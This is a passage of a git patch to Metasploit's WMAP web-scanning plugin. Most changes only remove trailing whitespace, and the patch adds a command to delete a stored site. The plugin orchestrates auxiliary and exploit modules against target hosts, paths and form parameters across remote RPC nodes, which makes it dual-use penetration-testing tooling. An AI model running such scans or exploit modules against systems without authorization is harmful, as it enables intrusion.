Hash.new() end target_whitelist.each do |ent| view_site_tree(ent,l,s) - end + end end return when '-h' print_status("Usage: wmap_sites [options]") print_line("\t-h Display this help text") print_line("\t-a [url] Add site (vhost,url)") + print_line("\t-d [id] Delete site") print_line("\t-l List all available sites") print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") @@ -210,11 +218,11 @@ class Plugin::Wmap < Msf::Plugin end def cmd_wmap_nodes(*args) - + if not self.rpcarr - self.rpcarr=Hash.new() + self.rpcarr=Hash.new() end - + args.push("-h") if args.length == 0 while (arg = args.shift) @@ -225,7 +233,7 @@ class Plugin::Wmap < Msf::Plugin s = args.shift u = args.shift p = args.shift - + res = rpc_add_node(h,r,s,u,p,false) if res print_status("Node created.") @@ -234,20 +242,20 @@ class Plugin::Wmap < Msf::Plugin end when '-c' idref = args.shift - + if not idref print_error("No id defined") return end if idref.upcase == 'ALL' print_status("All nodes removed") - self.rpcarr = Hash.new() + self.rpcarr = Hash.new() else idx=0 self.rpcarr.each do |k,v| if idx == idref.to_i self.rpcarr.delete(k) - print_status("Node deleted #{k}") + print_status("Node deleted #{k}") end idx += 1 end @@ -258,24 +266,24 @@ class Plugin::Wmap < Msf::Plugin user = args.shift pass = args.shift dbname = args.shift - + res = rpc_db_nodes(host,port,user,pass,dbname) if res print_status("OK.") else print_error("Error") - end + end when '-l' rpc_list_nodes return when '-j' rpc_view_jobs - return + return when '-k' node = args.shift jid = args.shift rpc_kill_node(node,jid) - return + return when '-h' print_status("Usage: wmap_nodes [options]") print_line("\t-h Display this help text") @@ -285,7 +293,7 @@ class Plugin::Wmap < Msf::Plugin print_line("\t-j View detailed jobs") print_line("\t-k ALL|id ALL|job_id Kill jobs on node") print_line("\t-l List all current nodes") - + print_line("") return else @@ -299,8 +307,8 @@ class Plugin::Wmap < Msf::Plugin # Stop everything self.masstop = false self.killwhenstop = true - - trap("INT") { + + trap("INT") { print_error("Stopping execution...") self.masstop = true if self.killwhenstop @@ -308,12 +316,12 @@ class Plugin::Wmap < Msf::Plugin end return } - + # Max numbers of concurrent jobs per node self.njobs = 25 self.nmaxdisplay = false self.runlocal = false - + # Formating sizeline = 60 @@ -334,11 +342,11 @@ class Plugin::Wmap < Msf::Plugin moduleverbose = false showprogress = false - + if not self.rpcarr - self.rpcarr = Hash.new() + self.rpcarr = Hash.new() end - + if not run_wmap_ssl print_status("Loading of wmap ssl modules disabled.") end @@ -365,7 +373,7 @@ class Plugin::Wmap < Msf::Plugin using_p = false using_m = false usinginipath = false - + mname = '' inipathname = '/' @@ -418,7 +426,7 @@ class Plugin::Wmap < Msf::Plugin if inipathname print_status("Using initial path #{inipathname}.") end - usinginipath = true + usinginipath = true when '-h' print_status("Usage: wmap_run [options]") @@ -431,16 +439,16 @@ class Plugin::Wmap < Msf::Plugin print_line("") return else - print_error("Unknown flag") + print_error("Unknown flag") return end end - + if (self.rpcarr.length == 0) and (mode & wmap_show == 0) print_error("NO WMAP NODES DEFINED. Executing local modules") self.runlocal = true end - + if self.targets == nil print_error("Targets have not been selected.") return @@ -450,14 +458,14 @@ class Plugin::Wmap < Msf::Plugin print_error("Targets have not been selected.") return end - + execmod = true if (mode & wmap_show != 0) execmod = false end self.targets.each_with_index do |t, idx| - + selected_host = t[1][:host] selected_port = t[1][:port] selected_ssl = t[1][:ssl] @@ -475,27 +483,27 @@ class Plugin::Wmap < Msf::Plugin end # wmap_dir, wmap_file - matches = Hash.new() + matches = Hash.new() # wmap_server - matches1 = Hash.new() + matches1 = Hash.new() # wmap_query - matches2 = Hash.new() + matches2 = Hash.new() # wmap_ssl - matches3 = Hash.new() + matches3 = Hash.new() # wmap_unique_query - matches5 = Hash.new() + matches5 = Hash.new() # wmap_generic - matches10 = Hash.new() + matches10 = Hash.new() # OPTIONS opt_str = nil jobify = false - + # This will be clean later load_wmap_modules(false) @@ -523,7 +531,7 @@ class Plugin::Wmap < Msf::Plugin end when :wmap_ssl if run_wmap_ssl - matches3[w]=true + matches3[w]=true end else # Black Hole @@ -537,7 +545,7 @@ class Plugin::Wmap < Msf::Plugin matches3 = sort_by_orderid(matches3) matches5 = sort_by_orderid(matches5) matches10 = sort_by_orderid(matches10) - + # # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. # :wmap_ssl @@ -556,20 +564,20 @@ class Plugin::Wmap < Msf::Plugin print_error("STOPPED.") return end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx += 1 begin # Module options hash - modopts = Hash.new() - + modopts = Hash.new() + # # The code is just a proof-of-concept and will be expanded in the future # print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # @@ -591,14 +599,14 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + begin if execmod rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) end rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end + end end rescue ::Exception @@ -616,26 +624,26 @@ class Plugin::Wmap < Msf::Plugin idx = 0 matches1.each_key do |xref| - + if self.masstop print_error("STOPPED.") return end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx += 1 - + begin # Module options hash - modopts = Hash.new() + modopts = Hash.new() # # The code is just a proof-of-concept and will be expanded in the future # - + print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # @@ -657,20 +665,20 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + begin if execmod rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) end rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end + end end rescue ::Exception print_status(" >> Exception from #{xref[0]}: #{$!}") end - end + end end # @@ -682,26 +690,26 @@ class Plugin::Wmap < Msf::Plugin idx = 0 matches.each_key do |xref| - + if self.masstop print_error("STOPPED.") return end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx+=1 begin # Module options hash - modopts = Hash.new() + modopts = Hash.new() # # The code is just a proof-of-concept and will be expanded in the future # - + print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # # For modules to have access to the global datastore @@ -722,7 +730,7 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + # # Run the plugins that only need to be # launched once. @@ -741,7 +749,7 @@ class Plugin::Wmap < Msf::Plugin print_error("STOPPED.") return end - + p = node.current_path testpath = Pathname.new(p) strpath = testpath.cleanpath(false).to_s @@ -785,7 +793,7 @@ class Plugin::Wmap < Msf::Plugin end if not strpath.match(excludefilestr) - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) modopts['PATH'] = strpath print_status("Path: #{strpath}") @@ -795,14 +803,14 @@ class Plugin::Wmap < Msf::Plugin end rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end + end end end end when :wmap_dir if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? - if (not usinginipath) or (usinginipath and strpath.match(inipathname)) - + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + modopts['PATH'] = strpath print_status("Path: #{strpath}") @@ -821,7 +829,7 @@ class Plugin::Wmap < Msf::Plugin rescue ::Exception print_status(" >> Exception from #{xref[0]}: #{$!}") end - end + end end # @@ -833,26 +841,26 @@ class Plugin::Wmap < Msf::Plugin idx = 0 matches5.each_key do |xref| - + if self.masstop print_error("STOPPED.") return end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx += 1 begin # Module options hash - modopts = Hash.new() + modopts = Hash.new() # # The code is just a proof-of-concept and will be expanded in the future # - + print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # # For modules to have access to the global datastore @@ -874,25 +882,25 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + # # Run the plugins for each request that have a distinct # GET/POST URI QUERY string. # - utest_query = Hash.new() + utest_query = Hash.new() h = self.framework.db.workspace.hosts.find_by_address(selected_host) s = h.services.find_by_port(selected_port) w = s.web_sites.find_by_vhost(selected_vhost) w.web_forms.each do |form| - + if self.masstop print_error("STOPPED.") return end - + # # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' # @@ -909,18 +917,18 @@ class Plugin::Wmap < Msf::Plugin form.params.each do |p| pn, pv, pt = p if pn - if not pn.empty? + if not pn.empty? if not pv or pv.empty? #TODO add value based on param name pv = "aaa" end - + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) temparr << pn.to_s + "=" + pv.to_s end else - print_error("Blank parameter name. Form #{form.path}") - end + print_error("Blank parameter name. Form #{form.path}") + end end datastr = temparr.join("&") if (temparr and not temparr.empty?) @@ -935,15 +943,15 @@ class Plugin::Wmap < Msf::Plugin modopts['DATA'] = "" end if form.method.upcase == 'POST' - modopts['DATA'] = datastr + modopts['DATA'] = datastr end modopts['TYPES'] = typestr # # TODO: Add headers, etc. # - if (not usinginipath) or (usinginipath and form.path.match(inipathname)) - + if (not usinginipath) or (usinginipath and form.path.match(inipathname)) + print_status "Path #{form.path}" #print_status("Unique PATH #{modopts['PATH']}") #print_status("Unique GET #{modopts['QUERY']}") @@ -953,7 +961,7 @@ class Plugin::Wmap < Msf::Plugin begin if execmod rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end + end utest_query[signature(form.path,datastr)]=1 rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") @@ -982,26 +990,26 @@ class Plugin::Wmap < Msf::Plugin idx = 0 matches2.each_key do |xref| - + if self.masstop print_error("STOPPED.") return end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx += 1 begin # Module options hash - modopts = Hash.new() + modopts = Hash.new() # # The code is just a proof-of-concept and will be expanded in the future # - + print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # @@ -1015,7 +1023,7 @@ class Plugin::Wmap < Msf::Plugin # # Parameters passed in hash xref # - + modopts['RHOST'] = selected_host modopts['RHOSTS'] = selected_host modopts['RPORT'] = selected_port.to_s @@ -1024,7 +1032,7 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + # # Run the plugins for each request that have a distinct # GET/POST URI QUERY string. @@ -1035,7 +1043,7 @@ class Plugin::Wmap < Msf::Plugin w = s.web_sites.find_by_vhost(selected_vhost) w.web_forms.each do |req| - + if self.masstop print_error("STOPPED.") return @@ -1049,7 +1057,7 @@ class Plugin::Wmap < Msf::Plugin req.params.each do |p| pn, pv, pt = p if pn - if not pn.empty? + if not pn.empty? if not pv or pv.empty? #TODO add value based on param name pv = "aaa" @@ -1058,8 +1066,8 @@ class Plugin::Wmap < Msf::Plugin temparr << pn.to_s + "=" + pv.to_s end else - print_error("Blank parameter name. Form #{req.path}") - end + print_error("Blank parameter name. Form #{req.path}") + end end datastr = temparr.join("&") if (temparr and not temparr.empty?) @@ -1076,8 +1084,8 @@ class Plugin::Wmap < Msf::Plugin # # TODO: Add method, headers, etc. # - if (not usinginipath) or (usinginipath and req.path.match(inipathname)) - + if (not usinginipath) or (usinginipath and req.path.match(inipathname)) + print_status "Path #{req.path}" #print_status("Query PATH #{modopts['PATH']}") #print_status("Query GET #{modopts['QUERY']}") @@ -1091,14 +1099,14 @@ class Plugin::Wmap < Msf::Plugin rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") end - end + end end end rescue ::Exception print_status(" >> Exception from #{xref[0]}: #{$!}") end - end + end end # @@ -1112,27 +1120,27 @@ class Plugin::Wmap < Msf::Plugin idx = 0 matches10.each_key do |xref| - + if self.masstop print_error("STOPPED.") return end - - # Module not part of profile or not match - if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) idx += 1 begin # Module options hash - modopts = Hash.new() + modopts = Hash.new() # # The code is just a proof-of-concept and will be expanded in the future # - + print_status "Module #{xref[0]}" - + if (mode & wmap_expl != 0) # @@ -1146,7 +1154,7 @@ class Plugin::Wmap < Msf::Plugin # # Parameters passed in hash xref # - + modopts['RHOST'] = selected_host modopts['RHOSTS'] = selected_host modopts['RPORT'] = selected_port.to_s @@ -1155,7 +1163,7 @@ class Plugin::Wmap < Msf::Plugin modopts['VERBOSE'] = moduleverbose modopts['ShowProgress'] = showprogress modopts['RunAsJob'] = jobify - + # # Run the plugins that only need to be # launched once. @@ -1167,30 +1175,30 @@ class Plugin::Wmap < Msf::Plugin end rescue ::Exception print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end + end end rescue ::Exception print_status(" >> Exception from #{xref[0]}: #{$!}") end - end + end end - + if (mode & wmap_expl != 0) print_line "+" * sizeline - - if not self.runlocal + + if not self.runlocal if execmod rpc_list_nodes() print_status("Note: Use wmap_nodes -l to list node status for completion") end end - + print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") print_line "+" * sizeline end - + print_status("Done.") end @@ -1225,10 +1233,29 @@ class Plugin::Wmap < Msf::Plugin print_status tbl.to_s + "\n" end + def delete_site(wmap_index) + print_status("Deleting site #{wmap_index}") + idx = 0 + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + if idx == wmap_index + web.delete + print_status("Deleted #{web.vhost} on #{bdhost.address} at index #{idx}") + return + else + idx += 1 + end + end + end + end + end + + def view_sites # Clean temporary sites list self.lastsites = [] - + indent = ' ' tbl = Rex::Ui::Text::Table.new( @@ -1253,13 +1280,13 @@ class Plugin::Wmap < Msf::Plugin f = web.web_forms.count tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] idx += 1 - + turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" - self.lastsites << turl + self.lastsites << turl end end end - + print_status tbl.to_s + "\n" end @@ -1317,9 +1344,9 @@ class Plugin::Wmap < Msf::Plugin def process_urls(urlstr) target_whitelist = [] - + urls = urlstr.to_s.split(/\s+/) - + urls.each do |url| next if url.to_s.strip.empty? @@ -1361,8 +1388,8 @@ class Plugin::Wmap < Msf::Plugin if not self.targets # First time targets are defined - self.targets = Hash.new() - end + self.targets = Hash.new() + end target_whitelist.each do |ent| vhost,target = ent @@ -1387,12 +1414,12 @@ class Plugin::Wmap < Msf::Plugin # Initial defaul path inipath = target.path if target.path.empty? - inipath = '/' + inipath = '/' end - + #site.web_forms.find_all_by_path(target.path).each do |form| ckey = [ site.vhost, host.address, serv.port, inipath].join("|") - + if not self.targets[ckey] self.targets[ckey] = WebTarget.new self.targets[ckey].merge!({ @@ -1404,7 +1431,7 @@ class Plugin::Wmap < Msf::Plugin }) #self.targets[ckey][inipath] = [] else - print_status("Target already set in targets list.") + print_status("Target already set in targets list.") end # Store the form object in the hash for this path @@ -1415,23 +1442,23 @@ class Plugin::Wmap < Msf::Plugin end # Code by hdm. Modified two lines by et - # lastsites contains a temporary array with vhost,url strings so the id can be - # referenced in the array and prevent new sites added in the db to corrupt previous id list. + # lastsites contains a temporary array with vhost,url strings so the id can be + # referenced in the array and prevent new sites added in the db to corrupt previous id list. def process_ids(idsstr) - if !self.lastsites or self.lastsites.length == 0 + if !self.lastsites or self.lastsites.length == 0 view_sites print_status ("Web sites ids. referenced from previous table.") end - + target_whitelist = [] ids = idsstr.to_s.split(/,/) ids.each do |id| next if id.to_s.strip.empty? - + if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") + print_error("Skipping id #{id}...") else target_whitelist << self.lastsites[id.to_i] print_status("Loading #{self.lastsites[id.to_i]}.") @@ -1442,21 +1469,21 @@ class Plugin::Wmap < Msf::Plugin return if target_whitelist.length == 0 if not self.targets - self.targets = Hash.new() + self.targets = Hash.new() end target_whitelist.each do |ent| process_urls(ent) - end + end end - + def view_site_tree(urlstr, md, ld) - if not urlstr + if not urlstr return end site_whitelist = [] - + urls = urlstr.to_s.split(/\s+/) urls.each do |url| @@ -1498,7 +1525,7 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if site_whitelist.length == 0 - vsites = Hash.new() + vsites = Hash.new() site_whitelist.each do |ent| vhost,target = ent @@ -1588,10 +1615,10 @@ class Plugin::Wmap < Msf::Plugin tree.children.each_pair do |name,child| print_tree(child,ip,maxlevel,limitlevel) end - + end end - + def signature(fpath,fquery) hsig = Hash.new() @@ -1617,13 +1644,13 @@ class Plugin::Wmap < Msf::Plugin end params end - + def rpc_add_node(host,port,ssl,user,pass,bypass_exist) if not self.rpcarr - self.rpcarr = Hash.new() + self.rpcarr = Hash.new() end - + begin istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil @@ -1639,37 +1666,37 @@ class Plugin::Wmap < Msf::Plugin print_error "Unable to connect" #raise ConnectionError return - end - + end + res = temprpc.login( user , pass) - - if not res + + if not res print_error("Unable to authenticate to #{host}:#{port}.") return else res = temprpc.call('core.version') end - - print_status("Connected to #{host}:#{port} [#{res['version']}].") + + print_status("Connected to #{host}:#{port} [#{res['version']}].") self.rpcarr[istr] = temprpc end rescue print_error("Unable to connect") end end - + def local_module_exec(mod,mtype, opts, nmaxjobs) jobify = false - + modinst = framework.modules.create(mod) if(not modinst) print_error("Unknown module") return end - + sess = nil - + case mtype when 'auxiliary' Msf::Simple::Auxiliary.run_simple(modinst, { @@ -1693,42 +1720,42 @@ class Plugin::Wmap < Msf::Plugin else print_error("Wrong mtype.") end - + if sess if (jobify == false and sess.interactive?) print_line driver.run_single("sessions -q -i #{sess.sid}") - else + else print_status("Session #{sess.sid} created in the background.") end end end - + def rpc_round_exec(mod,mtype, opts, nmaxjobs) - + res = nil idx = 0 - - if active_rpc_nodes == 0 + + if active_rpc_nodes == 0 if not self.runlocal - print_error("All active nodes not working or removed") - return + print_error("All active nodes not working or removed") + return end res = true else rpc_reconnect_nodes() end - + if self.masstop return end - + while not res if active_rpc_nodes == 0 print_error("All active nodes not working or removed") - return + return end - + #find the node with less jobs load. minjobs = nmaxjobs minconn = nil @@ -1736,15 +1763,15 @@ class Plugin::Wmap < Msf::Plugin self.rpcarr.each do |k,rpccon| if not rpccon print_error("Skipping inactive node #{nid} #{k}") - else + else begin currentjobs = rpccon.call('job.list').length - + if currentjobs < minjobs minconn = rpccon minjobs = currentjobs end - + if currentjobs == nmaxjobs if self.nmaxdisplay == false print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") @@ -1756,57 +1783,57 @@ class Plugin::Wmap < Msf::Plugin rescue print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") self.rpcarr[k]=nil - - if active_rpc_nodes == 0 + + if active_rpc_nodes == 0 print_error("All active nodes ,not working or removed") return else - print_error("Sending job to next node") + print_error("Sending job to next node") next - end + end end end - nid += 1 + nid += 1 end if minjobs < nmaxjobs res=minconn.call('module.execute', mtype, mod, opts) self.nmaxdisplay = false #print_status(">>>#{res} #{mod}") - + if res if res.has_key?("job_id") return else - print_error("Unable to execute module in node #{k} #{res}") + print_error("Unable to execute module in node #{k} #{res}") end end else - #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") + #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") end - + idx += 1 end - - if self.runlocal and not self.masstop + + if self.runlocal and not self.masstop local_module_exec(mod,mtype, opts, nmaxjobs) end end - + def rpc_db_nodes(host,port,user,pass,name) - rpc_reconnect_nodes() - + rpc_reconnect_nodes() + if active_rpc_nodes == 0 print_error("No active nodes at this time") return end - - self.rpcarr.each do |k,v| + + self.rpcarr.each do |k,v| if v res = v.call('db.driver',{:driver => 'postgresql'}) res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) res = v.call('db.status') - + if res['db'] == name print_status("db_connect #{res} #{host}:#{port} OK") else @@ -1814,14 +1841,14 @@ class Plugin::Wmap < Msf::Plugin end else print_error("No connection to node #{k}") - end + end end end - + def rpc_reconnect_nodes() begin # Sucky 5 mins token timeout. - + idx = nil self.rpcarr.each do |k,rpccon| if rpccon @@ -1830,11 +1857,11 @@ class Plugin::Wmap < Msf::Plugin currentjobs = rpccon.call('job.list').length rescue tarr = k.split("|") - rflag = false - + rflag = false + res = rpccon.login(tarr[3],tarr[4]) - - if res + + if res rflag = true print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") break @@ -1842,7 +1869,7 @@ class Plugin::Wmap < Msf::Plugin raise ConnectionError end end - end + end end rescue print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") @@ -1853,31 +1880,31 @@ class Plugin::Wmap < Msf::Plugin else #blah end - end + end end - + def rpc_kill_node(i,j) - + if not i print_error("Nodes not defined") return end - + if not j print_error("Node jobs defined") return end - + rpc_reconnect_nodes() - + if active_rpc_nodes == 0 print_error("No active nodes at this time") return end - + idx=0 self.rpcarr.each do |k,rpccon| - if idx == i.to_i or i.upcase == 'ALL' + if idx == i.to_i or i.upcase == 'ALL' #begin if not rpccon print_error("No connection to node #{idx}") @@ -1887,39 +1914,39 @@ class Plugin::Wmap < Msf::Plugin if j==id.to_s or j.upcase == 'ALL' rpccon.call('job.stop',id) print_status("Node #{idx} Killed job id #{id} #{name}") - end + end end - end + end #rescue # print_error("No connection") #end end - idx += 1 + idx += 1 end end - + def rpc_view_jobs() indent = ' ' - + rpc_reconnect_nodes() - + if active_rpc_nodes == 0 print_error("No active nodes at this time") return end - + idx=0 - self.rpcarr.each do |k,rpccon| + self.rpcarr.each do |k,rpccon| if not rpccon print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") else - - arrk = k.split('|') + + arrk = k.split('|') print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") - + begin n = rpccon.call('job.list') - + tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Header' => 'Jobs', @@ -1930,71 +1957,71 @@ class Plugin::Wmap < Msf::Plugin 'Target', 'PATH', ]) - + n.each do |id,name| - jinfo = rpccon.call('job.info',id) + jinfo = rpccon.call('job.info',id) dstore = jinfo['datastore'] tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] end - + print_status tbl.to_s + "\n" - + rescue print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") end - end - idx += 1 - end + end + idx += 1 + end end - - + + # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby - def quit? - begin - while c = driver.input.read_nonblock(1) - print_status("Quited") - return true if c == 'Q' - end - false - rescue Errno::EINTR - false - rescue Errno::EAGAIN - false - rescue EOFError - true - end - end - + def quit? + begin + while c = driver.input.read_nonblock(1) + print_status("Quited") + return true if c == 'Q' + end + false + rescue Errno::EINTR + false + rescue Errno::EAGAIN + false + rescue EOFError + true + end + end + def rpc_mon_nodes() # Pretty monitor - + color = self.opts["ConsoleDriver"].output.supports_color? rescue false - - colors = [ - '%grn', - '%blu', + + colors = [ + '%grn', + '%blu', '%yel', '%whi' - ] - + ] + #begin loop do rpc_reconnect_nodes() - + idx = 0 - self.rpcarr.each do |k,rpccon| - + self.rpcarr.each do |k,rpccon| + arrk = k.split('|') - + v = "NOCONN" n = 1 c = '%red' - - if not rpccon + + if not rpccon v = "NOCONN" n = 1 c = '%red' - else + else begin v = "" c = '%blu' @@ -2002,7 +2029,7 @@ class Plugin::Wmap < Msf::Plugin v = "ERROR" c = '%red' end - + begin n = rpccon.call('job.list').length c = '%blu' @@ -2011,8 +2038,8 @@ class Plugin::Wmap < Msf::Plugin v = "NOCONN" c = '%red' end - end - + end + #begin if not @stdio @stdio = Rex::Ui::Text::Output::Stdio.new @@ -2025,7 +2052,7 @@ class Plugin::Wmap < Msf::Plugin end msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" @stdio.print_raw(@stdio.substitute_colors(msg)) - + #rescue #blah #end @@ -2036,8 +2063,8 @@ class Plugin::Wmap < Msf::Plugin #rescue # print_status("End.") #end - end - + end + def rpc_list_nodes() indent = ' ' @@ -2055,56 +2082,56 @@ class Plugin::Wmap < Msf::Plugin 'Status', '#jobs', ]) - + idx=0 - + rpc_reconnect_nodes() - - self.rpcarr.each do |k,rpccon| - + + self.rpcarr.each do |k,rpccon| + arrk = k.split('|') - + if not rpccon v = "NOCONN" n = "" - else + else begin v = rpccon.call('core.version')['version'] rescue v = "ERROR" end - + begin n = rpccon.call('job.list').length rescue n = "" end - end - + end + tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] idx += 1 end - + print_status tbl.to_s + "\n" end - + def active_rpc_nodes - if self.rpcarr.length == 0 + if self.rpcarr.length == 0 return 0 else - idx = 0 + idx = 0 self.rpcarr.each do |k,conn| if conn - idx += 1 + idx += 1 end end return idx - end + end end - + def view_modules indent = ' ' - + wmaptype = [:wmap_ssl, :wmap_server, :wmap_dir, @@ -2113,11 +2140,11 @@ class Plugin::Wmap < Msf::Plugin :wmap_query, :wmap_generic ] - + if not self.wmapmodules load_wmap_modules(true) end - + wmaptype.each do |modt| tbl = Rex::Ui::Text::Table.new( @@ -2128,53 +2155,53 @@ class Plugin::Wmap < Msf::Plugin 'Name', 'OrderID', ]) - - idx = 0 + + idx = 0 self.wmapmodules.each do |w| oid = w[3] if w[3] == 0xFFFFFF oid = ":last" end - - if w[2] == modt + + if w[2] == modt tbl << [w[0],oid] idx += 1 end - end - + end + print_status tbl.to_s + "\n" end end - + # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And # sort_by of a hash returns an array so this is the reason for this ugly piece of code def sort_by_orderid(m) - temphash=Hash.new() + temphash=Hash.new() temparr=[] - - temparr = m.sort_by do |xref,v| - xref[3] + + temparr = m.sort_by do |xref,v| + xref[3] end - + temparr.each do |b| - temphash[b[0]] = b[1] + temphash[b[0]] = b[1] end temphash end - + # Load all wmap modules def load_wmap_modules(reload) if reload or not self.wmapmodules print_status("Loading wmap modules...") - + self.wmapmodules=[] - + idx = 0 [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| # Scan all exploit modules for matching references mtype[0].each_module do |n,m| e = m.new - + # Only include wmap_enabled plugins if e.respond_to?("wmap_enabled") penabled = e.wmap_enabled @@ -2187,19 +2214,19 @@ class Plugin::Wmap < Msf::Plugin end end print_status("#{idx} wmap enabled modules loaded.") - end + end end - + def view_vulns framework.db.hosts.each do |host| - host.services.each do |serv| + host.services.each do |serv| serv.web_sites.each do |site| site.web_vulns.each do |wv| print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") print_status("\t#{wv.name} #{wv.description}") print_status("\t#{wv.method} #{wv.proof}") end - end + end end end end @@ -2211,20 +2238,20 @@ class Plugin::Wmap < Msf::Plugin "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" end end - + def initialize(framework, opts) super color = self.opts["ConsoleDriver"].output.supports_color? rescue false - + wmapversion = '1.5.1' - + wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" wmapbanner += "%red| | | || | | || | || |-'%clr\n" - wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" + wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" - + if not @stdio @stdio = Rex::Ui::Text::Output::Stdio.new end @@ -2234,7 +2261,7 @@ class Plugin::Wmap < Msf::Plugin else @stdio.disable_color end - + @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) add_console_dispatcher(WmapCommandDispatcher) From b74fce7e24f0be17674e05b394fb6f0ead5556d1 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 7 Mar 2013 14:57:03 -0500 Subject: [PATCH 330/341] indentation compliance --- plugins/wmap.rb | 64 ++++++++++++++++++++++++------------------------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index fb6c990fb0..77f5de94c4 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -137,13 +137,13 @@ class Plugin::Wmap < 